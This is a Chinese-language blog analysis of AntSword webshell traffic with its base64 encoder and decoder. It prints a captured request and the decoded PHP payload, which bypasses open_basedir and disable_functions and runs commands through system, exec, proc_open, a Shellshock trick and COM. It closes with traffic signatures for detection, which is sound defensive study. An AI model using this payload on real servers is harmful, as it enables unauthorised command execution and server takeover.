前言:webshell是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。正因如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的。
蚁剑(续)
编码器
本次使用的蚁剑的版本是v2.1.15。当我们将编码器设置为base64时,解码器为default。
代理burp查看流量
d693ebb28cb6bd=1NL2Jpbi9zaA%3D%3D&fc772a1a9e421a=0o&naa4ed14c197cc=zlY2QgIi92YXIvd3d3L2h0bWwiO3dob2FtaTtlY2hvIGIzMDIyMztwd2Q7ZWNobyBiMjkwODhkMjRj&pass=%40eval(%40base64_decode(%24_POST%5B'x0e40a52055cd1'%5D))%3B&x0e40a52055cd1=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7JG9wZGlyPUBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTtpZigkb3BkaXIpIHskb2N3ZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7JG9wYXJyPXByZWdfc3BsaXQoYmFzZTY0X2RlY29kZSgiTHp0OE9pOD0iKSwkb3BkaXIpO0BhcnJheV9wdXNoKCRvcGFyciwkb2N3ZCxzeXNfZ2V0X3RlbXBfZGlyKCkpO2ZvcmVhY2goJG9wYXJyIGFzICRpdGVtKSB7aWYoIUBpc193cml0YWJsZSgkaXRlbSkpe2NvbnRpbnVlO307JHRtZGlyPSRpdGVtLiIvLjM5YTg0M2MiO0Bta2RpcigkdG1kaXIpO2lmKCFAZmlsZV9leGlzdHMoJHRtZGlyKSl7Y29udGludWU7fSR0bWRpcj1yZWFscGF0aCgkdG1kaXIpO0BjaGRpcigkdG1kaXIpO0Bpbmlfc2V0KCJvcGVuX2Jhc2VkaXIiLCAiLi4iKTskY250YXJyPUBwcmVnX3NwbGl0KCIvXFxcXHxcLy8iLCR0bWRpcik7Zm9yKCRpPTA7JGk8c2l6ZW9mKCRjbnRhcnIpOyRpKyspe0BjaGRpcigiLi4iKTt9O0Bpbmlfc2V0KCJvcGVuX2Jhc2VkaXIiLCIvIik7QHJtZGlyKCR0bWRpcik7YnJlYWs7fTt9OztmdW5jdGlvbiBhc2VuYygkb3V0KXtyZXR1cm4gJG91dDt9O2Z1bmN0aW9uIGFzb3V0cHV0KCl7JG91dHB1dD1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTtlY2hvICJkZGM5MSIuIjcwOWFiIjtlY2hvIEBhc2VuYygkb3V0cHV0KTtlY2hvICJkMDkiLiIxYTEiO31vYl9zdGFydCgpO3RyeXskcD1iYXNlNjRfZGVjb2RlKHN1YnN0cigkX1BPU1RbImQ2OTNlYmIyOGNiNmJkIl0sMikpOyRzPWJhc2U2NF9kZWNvZGUoc3Vic3RyKCRfUE9TVFsibmFhNGVkMTRjMTk3Y2MiXSwyKSk7JGVudnN0cj1AYmFzZTY0X2RlY29kZShzdWJzdHIoJF9QT1NUWyJmYzc3MmExYTllNDIxYSJdLDIpKTskZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7JGM9c3Vic3RyKCRkLDAsMSk9PSIvIj8iLWMgXCJ7JHN9XCIiOiIvYyBcInskc31cIiI7aWYoc3Vic3RyKCRkLDAsMSk9PSIvIil7QHB1dGVudigiUEFUSD0iLmdldGVudigiUEFUSCIpLiI6L3Vzci9sb2NhbC9zYmluOi91c3IvbG9jYWwvYmluOi91c3Ivc2JpbjovdXNyL2Jpbjovc2JpbjovYmluIik7fWVsc2V7QHB1dGVudigiUEFUSD0iLmdldGVudigiUEFUSCIpLiI7QzovV2luZG93cy9zeXN0ZW0zMjtDOi9XaW5kb3dzL1N5c1dPVzY0O0M6L1dpbmRvd3M7QzovV2luZG93cy9TeXN0ZW0zMi9XaW5kb3dzUG93ZXJTaGVsbC92MS4wLzsiKTt9aWYoIWVtcHR5KCRlbnZzdHIpKXskZW52YXJyPWV4cGxvZGUoInx8fGFzbGluZXx8fCIsICRlbnZzdHIpO2ZvcmVhY2goJGVudmFyciBhcyAkdikge2lmICghZW1wdHkoJHYpKSB7QHB1dGVudihzdHJfcmVwbGFjZSgifHx8YXNrZXl8fHwiLCAiPSIsICR2KSk7fX19JHI9InskcH0geyRjfSI7ZnVuY3Rpb24gZmUoJGYpeyRkPWV4cGxvZGUoIiwiLEBpbmlfZ2V0KCJkaXNhYmxlX2Z1bmN0aW9ucyIpKTtpZihlbXB0eSgkZCkpeyRkPWFycmF5KCk7fWVsc2V7JGQ9YXJyYXlfbWFwKCd0cmltJyxhcnJheV9tYXAoJ3N0cnRvbG93ZXInLCRkKSk7fXJldHVybihmdW5jdGlvbl9leGlzdHMoJGYpJiZpc19jYWxsYWJsZSgkZikmJiFpbl9hcnJheSgkZiwkZCkpO307ZnVuY3Rpb24gcnVuc2hlbGxzaG9jaygkZCwgJGMpIHtpZiAoc3Vic3RyKCRkLCAwLCAxKSA9PSAiLyIgJiYgZmUoJ3B1dGVudicpICYmIChmZSgnZXJyb3JfbG9nJykgfHwgZmUoJ21haWwnKSkpIHtpZiAoc3Ryc3RyKHJlYWRsaW5rKCIvYmluL3NoIiksICJiYXNoIikgIT0gRkFMU0UpIHskdG1wID0gdGVtcG5hbShzeXNfZ2V0X3RlbXBfZGlyKCksICdhcycpO3B1dGVudigiUEhQX0xPTD0oKSB7IHg7IH07ICRjID4kdG1wIDI%2BJjEiKTtpZiAoZmUoJ2Vycm9yX2xvZycpKSB7ZXJyb3JfbG9nKCJhIiwgMSk7fSBlbHNlIHttYWlsKCJhQDEyNy4wLjAuMSIsICIiLCAiIiwgIi1idiIpO319IGVsc2Uge3JldHVybiBGYWxzZTt9JG91dHB1dCA9IEBmaWxlX2dldF9jb250ZW50cygkdG1wKTtAdW5saW5rKCR0bXApO2lmICgkb3V0cHV0ICE9ICIiKSB7cHJpbnQoJG91dHB1dCk7cmV0dXJuIFRydWU7fX1yZXR1cm4gRmFsc2U7fTtmdW5jdGlvbiBydW5jbWQoJGMpeyRyZXQ9MDskZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoZmUoJ3N5c3RlbScpKXtAc3lzdGVtKCRjLCRyZXQpO31lbHNlaWYoZmUoJ3Bhc3N0aHJ1Jykpe0BwYXNzdGhydSgkYywkcmV0KTt9ZWxzZWlmKGZlKCdzaGVsbF9leGVjJykpe3ByaW50KEBzaGVsbF9leGVjKCRjKSk7fWVsc2VpZihmZSgnZXhlYycpKXtAZXhlYygkYywkbywkcmV0KTtwcmludChqb2luKCIKIiwkbykpO31lbHNlaWYoZmUoJ3BvcGVuJykpeyRmcD1AcG9wZW4oJGMsJ3InKTt3aGlsZSghQGZlb2YoJGZwKSl7cHJpbnQoQGZnZXRzKCRmcCwyMDQ4KSk7fUBwY2xvc2UoJGZwKTt9ZWxzZWlmKGZlKCdwcm9jX29wZW4nKSl7JHAgPSBAcHJvY19vcGVuKCRjLCBhcnJheSgxID0%2BIGFycmF5KCdwaXBlJywgJ3cnKSwgMiA9PiBhcnJheSgncGlwZScsICd3JykpLCAkaW8pO3doaWxlKCFAZmVvZigkaW9bMV0pKXtwcmludChAZmdldHMoJGlvWzFdLDIwNDgpKTt9d2hpbGUoIUBmZW9mKCRpb1syXSkpe3ByaW50KEBmZ2V0cygkaW9bMl0sMjA0OCkpO31AZmNsb3NlKCRpb1sxXSk7QGZjbG9zZSgkaW9bMl0pO0Bwcm9jX2Nsb3NlKCRwKTt9ZWxzZWlmKGZlKCdhbnRzeXN0ZW0nKSl7QGFudHN5c3RlbSgkYyk7fWVsc2VpZihydW5zaGVsbHNob2NrKCRkLCAkYykpIHtyZXR1cm4gJHJldDt9ZWxzZWlmKHN1YnN0cigkZCwwLDEpIT0iLyIgJiYgQGNsYXNzX2V4aXN0cygiQ09NIikpeyR3PW5ldyBDT00oJ1dTY3JpcHQuc2hlbGwnKTskZT0kdy0%2BZXhlYygkYyk7JHNvPSRlLT5TdGRPdXQoKTskcmV0Lj0kc28tPlJlYWRBbGwoKTskc2U9JGUtPlN0ZEVycigpOyRyZXQuPSRzZS0%2BUmVhZEFsbCgpO3ByaW50KCRyZXQpO31lbHNleyRyZXQgPSAxMjc7fXJldHVybiAkcmV0O307JHJldD1AcnVuY21kKCRyLiIgMj4mMSIpO3ByaW50ICgkcmV0IT0wKT8icmV0PXskcmV0fSI6IiI7O31jYXRjaChFeGNlcHRpb24gJGUpe2VjaG8gIkVSUk9SOi8vIi4kZS0%2BZ2V0TWVzc2FnZSgpO307YXNvdXRwdXQoKTtkaWUoKTs%3D
可以看到给服务器发送的数据包时经过base64加密的,而服务器的响应包是明文的。我们先来看看前面几个没有进行加密的几个字段。如下
d693ebb28cb6bd=1NL2Jpbi9zaA%3D%3D
&fc772a1a9e421a=0o
&naa4ed14c197cc=zlY2QgIi92YXIvd3d3L2h0bWwiO3dob2FtaTtlY2hvIGIzMDIyMztwd2Q7ZWNobyBiMjkwODhkMjRj
&pass=%40eval(%40base64_decode(%24_POST%5B'x0e40a52055cd1'%5D))%3B
&x0e40a52055cd1=
对前面的这些字段做一个URL解码
d693ebb28cb6bd=1NL2Jpbi9zaA==
&fc772a1a9e421a=0o
&naa4ed14c197cc=zlY2QgIi92YXIvd3d3L2h0bWwiO3dob2FtaTtlY2hvIGIzMDIyMztwd2Q7ZWNobyBiMjkwODhkMjRj
&pass=@eval(@base64_decode($_POST['x0e40a52055cd1']));
&x0e40a52055cd1=
可以看到一共有4个POST参数
1. d693ebb28cb6bd
它的参数是1NL2Jpbi9zaA==,是一个base64编码后的内容,我们直接对这个内容进行解码的话是解不出来的,因为这个参数是被php做了处理之后的一段字符串。暂时搁置于此。
2. fc772a1a9e421a
它的参数就是0o,后面用于验证来用的,也可能是用来混淆代码的。
3. naa4ed14c197cc
它的参数是zlY2QgIi92YXIvd3d3L2h0bWwiO3dob2FtaTtlY2hvIGIzMDIyMztwd2Q7ZWNobyBiMjkwODhkMjRj,是一个base64编码后的内容,我们直接对这个内容进行解码的话是解不出来的,因为这个参数是被php做了处理之后的一段字符串。暂时搁置于此。
4. pass
pass参数的值主要是用来接收x0e40a52055cd1的值,进一步对它的值进行base64解码最后再带入到eval函数中。
5. x0e40a52055cd1的值,进一步对它的值进行base64解码最后再带入到eval函数中。的参数
它的参数是一段主要以base64加密的中间有部分url编码,所以先将整段代码进行url解码,最后再进行base64解码就会得到下面这段
# 简单做了些换行,更方便理解和分析
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {if(!@is_writable($item)){continue;};
$tmdir=$item."/.39a843c";
@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);
@ini_set("open_basedir","..");
$cntarr=@preg_split("/\\\\|\//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};
@ini_set("open_basedir","/");
@rmdir($tmdir);break;};};;
function asenc($out){return $out;};
function asoutput(){$output=ob_get_contents();ob_end_clean();
echo "ddc91"."709ab";
echo @asenc($output);
echo "d09"."1a1";}ob_start();
try{$p=base64_decode(substr($_POST["d693ebb28cb6bd"],2));
$s=base64_decode(substr($_POST["naa4ed14c197cc"],2));
$envstr=@base64_decode(substr($_POST["fc772a1a9e421a"],2));
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
if(substr($d,0,1)=="/"){@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");}
else{@putenv("PATH=".getenv("PATH").";
C:/Windows/system32;
C:/Windows/SysWOW64;C:/Windows;
C:/Windows/System32/WindowsPowerShell/v1.0/;");}
if(!empty($envstr)){$envarr=explode("|||asline|||", $envstr);
foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v));}}}$r="{$p} {$c}";
function fe($f){$d=explode(",",@ini_get("disable_functions"));
if(empty($d)){$d=array();}
else{$d=array_map('trim',array_map('strtolower',$d));}
return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};
function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (fe('error_log')) {error_log("a", 1);}
else {mail("a@127.0.0.1", "", "", "-bv");}}
else {return False;}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {print($output);return True;}}
return False;};
function runcmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);
if(fe('system')){@system($c,$ret);}
elseif(fe('passthru')){@passthru($c,$ret);}
elseif(fe('shell_exec')){print(@shell_exec($c));}
elseif(fe('exec')){@exec($c,$o,$ret);
print(join("",$o));}
elseif(fe('popen')){$fp=@popen($c,'r');
while(!@feof($fp)){print(@fgets($fp,2048));}
@pclose($fp);}
elseif(fe('proc_open')){$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while(!@feof($io[1])){print(@fgets($io[1],2048));}
while(!@feof($io[2])){print(@fgets($io[2],2048));}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);}
elseif(fe('antsystem')){@antsystem($c);}
elseif(runshellshock($d, $c)) {return $ret;}
elseif(substr($d,0,1)!="/" && @class_exists("COM")){$w=new COM('WScript.shell');
$e=$w->exec($c);
$so=$e->StdOut();
$ret.=$so->ReadAll();
$se=$e->StdErr();
$ret.=$se->ReadAll();print($ret);}
else{$ret = 127;}return $ret;};
$ret=@runcmd($r." 2>&1");
print ($ret!=0)?"ret={$ret}":"";;}
catch(Exception $e){echo "ERROR://".$e->getMessage();};
asoutput();
die();
这个时候就跟我们第一篇的文章差不多了,里面具体的参数也出来了~此时我们就可以知道前面的POST的参数的值是什么了。
比如d693ebb28cb6bd的值为1NL2Jpbi9zaA==
$p=base64_decode(substr($_POST["d693ebb28cb6bd"],2)
通过这段代码,我们可以知道它是先将1NL2Jpbi9zaA==经过了substr函数处理了,而这个函数的意思就是截取该段base64代码,截取从第三位开始,所以最后的值也就是L2Jpbi9zaA==,最后将这一段解码后得到的值就是/bin/bash
同理,我们可以算出naa4ed14c197cc的值
初始值:zlY2QgIi92YXIvd3d3L2h0bWwiO3dob2FtaTtlY2hvIGIzMDIyMztwd2Q7ZWNobyBiMjkwODhkMjRj 去除前两位也就是
Y2QgIi92YXIvd3d3L2h0bWwiO3dob2FtaTtlY2hvIGIzMDIyMztwd2Q7ZWNobyBiMjkwODhkMjRj
将上面这段代码进行base解码后就会得到下面这段内容,也就是我们需要执行命令的敏感参数。
cd "/var/www/html";whoami;echo b30223;pwd;echo b29088d24c
最后经过几轮倒转naa4ed14c197cc的值传递给下面的函数进行执行。
if(fe('system')){@system($c,$ret);}
elseif(fe('passthru')){@passthru($c,$ret);}
elseif(fe('shell_exec')){print(@shell_exec($c));}
elseif(fe('exec')){@exec($c,$o,$ret);
也就是说当我们选择了编码器为base64时,蚁剑就会在发送数据包的时候对我们的敏感数据进行一个base64加密,主要是为了躲避部分服务器上WAF的检测。有些WAF也会对响应包的数据进行检测,所以这个时候,解码器就会起到作用了,接下来我们看看解码器。
解码器
此时,我们将编码器和解码器都选择base64。
再来执行命令并用burp抓包查看
请求包跟编码器有关,响应包跟解码器有关,所以这个时候我们只看响应包。可以看到,响应包最后也进行了一个base64编码。这个时候就看出上面没解码时其余多的冗余字符串的作用了,就是为了和解码base64混合在一起,更容易躲避服务器的检测。
a8bdc3d3d3LWRhdGEKMDE0YmY3N2QKL3Zhci93d3cvaHRtbApmMTdhMzBjYwo=2b313920
# 最后正常的数据大概是下面这一段,机器一般很难检测出来。
d3d3LWRhdGEKMDE0YmY3N2QKL3Zhci93d3cvaHRtbApmMTdhMzBjYwo=
# 解码后
www-data
014bf77d
/var/www/html
f17a30cc
至此,我们总结一下蚁剑的流量特征:
加密前:
有五个字段,其中有一个字段中带有POST关键字。三个字段后都是base64加密,一个字段只有两个字符。
解密后:
@ini_set("display_errors","0");
@set_time_limit(0);
system、shell_exec、exec、passthru 关键字。
总结
另外本次分析,主要是看了蚁剑的编码器和解码器,此次测试主要是使用了base64编码,当然还有其他几种编码chr、chr16、rot13。有兴趣的同学可以自己试试。当然这些默认加密已经被很多安全厂商给加黑了。所以蚁剑还可以自己编写加密规则,后面如果有时间的话,出一期蚁剑自定义加密规则。